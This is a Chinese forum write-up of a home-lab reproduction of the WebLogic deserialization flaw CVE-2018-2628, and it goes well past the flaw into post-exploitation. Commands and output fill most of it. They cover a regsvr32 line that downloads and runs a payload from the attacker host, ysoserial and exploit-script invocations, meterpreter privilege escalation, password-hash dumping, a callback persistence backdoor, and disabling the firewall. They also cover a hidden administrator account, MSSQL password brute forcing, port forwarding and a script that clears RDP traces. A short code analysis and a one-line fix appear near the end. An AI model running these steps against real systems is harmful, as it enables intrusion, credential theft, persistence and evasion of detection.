用户
搜索

CVE-2018-2628复现及后渗透攻击

2019-1-8 14:16| 发布者: 小i| 查看: 183| 评论: 0|原作者: Mang0


0x00 前言


本文是小菜复现漏洞的一个过程,可能有很多瑕疵,还望原谅并给与纠正


0x01 概述


当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),这个漏洞是在去年11月份报给Oracle的,通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。


参考链接:


http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html


0x02 漏洞影响范围



  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3


0x03 环境搭建


攻击机:kali linux及Windows10(本机)


边缘机:Windows 7 公网IP:192.168.129.143  内网IP:192.168.58.146


靶机:Windows server 2008 内网IP192.168.58.138



Weblogic安装


java安装





weblogic安装



1、直接点击 '下一步'



2、选择安装路径



3、此处非用于实际生产环境,选择不更新。



4、典型安装



5、下一步默认安装




6、下面是安装的功能列表,下一步



7、完成



8、初始化,选择第一项启动



9、创建新weblogic域



10、选择第一项



指定对应的weblogic域名和对应文件存放位置,如下,此处保持默认即可[zxsq-anti-bbcode-实战中,目标一般都不是这个名字,找目录的时候注意下]



11、设置密码



密码:weblogic123


12、选择’生产模式’和所使用的’jdk版本’[zxsq-anti-bbcode-自动识别或指定],而后点击下一步




选择要监听的ip地址和端口,weblogic默认7001端口,实战中管理员大多会更改端口防止被攻击



下一步



下一步



下一步



以下是详情




13、双击执行C:\Oracle\Middleware\user_projects\domains\base_domain\startwebLogic.cmd脚本,然后输入前面设置的用户名密码,即可启动weblogic server,





登录



http://192.168.129.143:7001/console/login/LoginForm.jsp



网卡配置信息


Kali网络配置



Win7中间机网络配置双网卡



windows server




跳板机试探


测试有无漏洞



上传shell



执行shell



反弹meterpreter Shell


这里有个细节就是。我们平常linux渗透经常使用weget下载文件而windows下的方式就很困难可以使用如下写的文章方式,不过有些已经无法使用。这里推荐使用 regsvr32这种方式提升shell为meterpreter shell



msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
target => 3
msf exploit(multi/script/web_delivery) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.129.128
lhost => 192.168.129.128
msf exploit(multi/script/web_delivery) > set lport 2333
lport => 2333
msf exploit(multi/script/web_delivery) > exploit
[zxsq-anti-bbcode-*] Exploit running as background job 0.

[zxsq-anti-bbcode-*] Started reverse TCP handler on 192.168.129.128:2333
[zxsq-anti-bbcode-*] Using URL: http://0.0.0.0:8080/ZqKpshnepenp8T9
msf exploit(multi/script/web_delivery) > [zxsq-anti-bbcode-*] Local IP: http://192.168.129.128:8080/ZqKpshnepenp8T9
[zxsq-anti-bbcode-*] Server started.
[zxsq-anti-bbcode-*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll
[zxsq-anti-bbcode-*] 192.168.129.143  web_delivery - Handling .sct Request
[zxsq-anti-bbcode-*] 192.168.129.143  web_delivery - Delivering Payload
[zxsq-anti-bbcode-*] Sending stage (179779 bytes) to 192.168.129.143
[zxsq-anti-bbcode-*] Meterpreter session 1 opened (192.168.129.128:2333 -> 192.168.129.143:52210) at 2019-01-02 01:29:00 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1

在cmd下执行


 regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll


进入meterpreter:


sessions -i 1


方式二:


java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/cPeSBp.sct scrobj.dll'

python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/7Gcn5at6tOGgzG.sct scrobj.dll'

python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient

迁移进程


[zxsq-anti-bbcode-ps]查看系统进程



但是这里我shell十分脆弱还没来得及迁移就没了。


可以使用run post/windows/manage/migrate  自动迁移进程


从新生成



迁移进程绑定到explore.exe  migrate 1944


信息收集




  1. 权限查看


    getuid知道是普通用户





  2. 系统信息


    sysinfo





  3. 网络信息



    知道有一个58网段 是一个内网。发现两张网卡两个IP,确定有内网无误





其他信息收集命令:


run post/windows/gather/checkvm  #是否虚拟机


run post/linux/gather/checkvm  #是否虚拟机


run post/windows/gather/forensics/enum_drives  #查看分区


run post/windows/gather/enum_applications  #获取安装软件信息


run post/windows/gather/dumplinks  #获取最近的文件操作


run post/windows/gather/enum_ie  #获取IE缓存


run post/windows/gather/enum_chrome  #获取Chrome缓存


run post/windows/gather/enum_patches  #补丁信息


run post/windows/gather/enum_domain  #查找域控



提升权限




  1. 尝试提权



    失败




  2. 查看补丁信息,输入命令shell进入目标机CMD命令行,再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁。



    可以看到目标机基本上没有打任何补丁,我们可以尝试利用Windows下已有的漏洞提权,如ms13_053,ms14_058,ms16_016,ms16_032等等。




  3. 尝试ms16-032失败





  4. 尝试ms16-016



    失败得到的还是普通用户权限





  5. 尝试MS14_058



    得到system权限




  6. 使用ms13——053



    成功


    获取密码




  7. 查看密码 hashdump



    31d6cfe0d16ae931b73c59d7e0c089c0 密码为空


    9719753e449b694ab201144166956c91   密码是study





权限维持


Persistence模块

ip地址是攻击机地址


  run persistence -U -i 10 -p 4444 -r 192.168.129.128


-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;


-i:设置反向连接间隔时间,单位为秒;


-p:设置反向连接的端口号;


-r:设置反向连接的ip地址。


其他方式参考:https://www.freebuf.com/vuls/169420.html


获得界面




  1. run vnc  


    #使用vnc远程桌面连接




  2. 开3389


REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


输入之前抓到的用户名密码 Mang0 study



(这里很不好意思,win7在进行远程登录会挤掉当前登录,十分不隐蔽,如果搭建最好在server上搭建,也算是个tips)


内网渗透


信息收集



  1. 查看arp 缓存




  1. 查看路由信息


[zxsq-anti-bbcode-route]



可以知道存在一台ip为192.168.58.132 的内网机器 跳板机内网网卡是192.168.58.146.




  1. 查看netview 不是域环境



  2. 添加路由


[zxsq-anti-bbcode-run autoroute -s 192.168.58.0/24]




  1. 查看添加的路由信息[zxsq-anti-bbcode-run autoroute -p]




  1. 端口扫描发现目标开了1433端口 445端口都是可以尝试的端口


192.168.59.138是我们渗透的内外目标




445端口开放,看一下是否能用ms17010可以使用



  1. 但是从1433尝试.查找弱口令爆破


使用nmap方式:


nmap -p 1433 --script ms-sql-brute --script-args userdb=username.txt,passdb=pass.txt 192.168.58.138

使用msf模块方式:



得到mssql数据库用户名sa密码Www123456


漏洞利用




  1. 上传文件





  1. mstsc  打开3389进行下一步攻击





  2. 输入地址密码连接





用xp_cmdshell关闭防火墙限制


netsh firewall set opmode mode=disable


添加3389入站规则


netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow


创建管理员用户


net user mang0test  study123. /add
net localgroup administrators mang0test /add




最好在这里使用$隐藏


net user study$ study123. /add

net localgroup administrators study$ /add


端口转发




  1. 转发端口


    portfwd  add -l 9999 -p 3389 -r 192.168.58.138


    -l 9999  转发到本地的9999端口


    -p 3389 转发目标机的3389


    -r 192.168.58.138 目标机ip





  2. 连接3389


    rdesktop 127.0.0.1:9999




清除痕迹


第一步



第二步


删除使用过的工具


第三步:


3389痕迹清除脚本.bat


3389痕迹清除脚本
home.php?mod=space&uid=46675 off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20
set /p fk= 确定要清空3389连接痕迹吗?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n call %0

:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Clien t" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除。
pause >nul

:n
exit

0x05 漏洞分析


RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。


protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;

   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[zxsq-anti-bbcode-i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }

   return super.resolveProxyClass(interfaces);

上边放上了源码:来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。


大概意思应该是,只判断是否是RMI接口,如果是就OK,没有做其他的权限检查,或可信检查,导致攻击者自己起一个RMI接口,就可以引导weblogic去请求自己存好的恶意代码段z;这个恶意代码是利用JRMP加载回来的利用readObject解析的,从而达到了RCE的目的。对于JRMP的解析可以看下大神的原话:


核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。


0x06 漏洞修复


可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。


0x07 总结


采坑的地方:


java环境:https://www.jianshu.com/p/60e66966d74a


安装weblogic:


https://blog.csdn.net/qq_36868342/article/details/79967606


无法安装weblogic



https://blog.csdn.net/qq_25116735/article/details/81285422


https://www.oschina.net/question/2275765_220608


0x08 参考链接


https://www.freebuf.com/vuls/169420.html


https://github.com/shengqi158/CVE-2018-2628


http://www.lengbaikai.net/?p=250


http://www.qingpingshan.com/pc/aq/385597.html


0x09 利用编写


本文脚本可访问如下地址获取:


https://github.com/0xMJ/CVE-2018-2628


鲜花
鲜花
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋